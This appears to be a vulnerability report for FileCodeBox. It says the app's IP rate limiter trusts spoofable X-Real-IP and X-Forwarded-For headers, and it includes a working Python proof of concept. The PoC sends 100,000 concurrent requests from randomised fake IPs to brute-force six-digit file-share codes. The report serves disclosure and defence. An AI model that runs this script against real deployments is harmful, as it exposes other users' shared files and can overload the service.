Describe the bug
IPRateLimit determines client source ip using X-Real-IP and X-Forwarded-For headers from requests, which can be easily spoofed if the application is not behind a reverse proxy or the reverse proxy is not configured to explicitly drop X-Real-IP from incoming requests.
|
ip = ( |
|
request.headers.get("X-Real-IP") |
|
or request.headers.get("X-Forwarded-For") |
This allows attackers to bypass IPRateLimit.check_ip and brute force file codes or perform DoS attack.
PoC
import aiohttp
import asyncio
from random import randint
async def fetch(session: aiohttp.ClientSession, code: int) -> None:
ip = ".".join(str(randint(1, 255)) for _ in range(4))
async with session.request(
"POST", "http://127.0.0.1:12345/share/select/",
headers={"X-Real-IP": ip, "X-Forwarded-For": ip},
json={"code": str(code).rjust(6, "0")},
) as resp:
assert resp.status == 200
async def main():
async with aiohttp.TCPConnector(limit=100) as conn, aiohttp.ClientSession(connector=conn) as session:
await asyncio.gather(*[fetch(session, i) for i in range(100000)])
if __name__ == '__main__':
asyncio.run(main())
Affected versions
<= 2.2
Additional context
CWE-307
Describe the bug
IPRateLimitdetermines client source ip usingX-Real-IPandX-Forwarded-Forheaders from requests, which can be easily spoofed if the application is not behind a reverse proxy or the reverse proxy is not configured to explicitly dropX-Real-IPfrom incoming requests.FileCodeBox/apps/base/dependencies.py
Lines 38 to 40 in 1733111
This allows attackers to bypass
IPRateLimit.check_ipand brute force file codes or perform DoS attack.PoC
Affected versions
<= 2.2
Additional context
CWE-307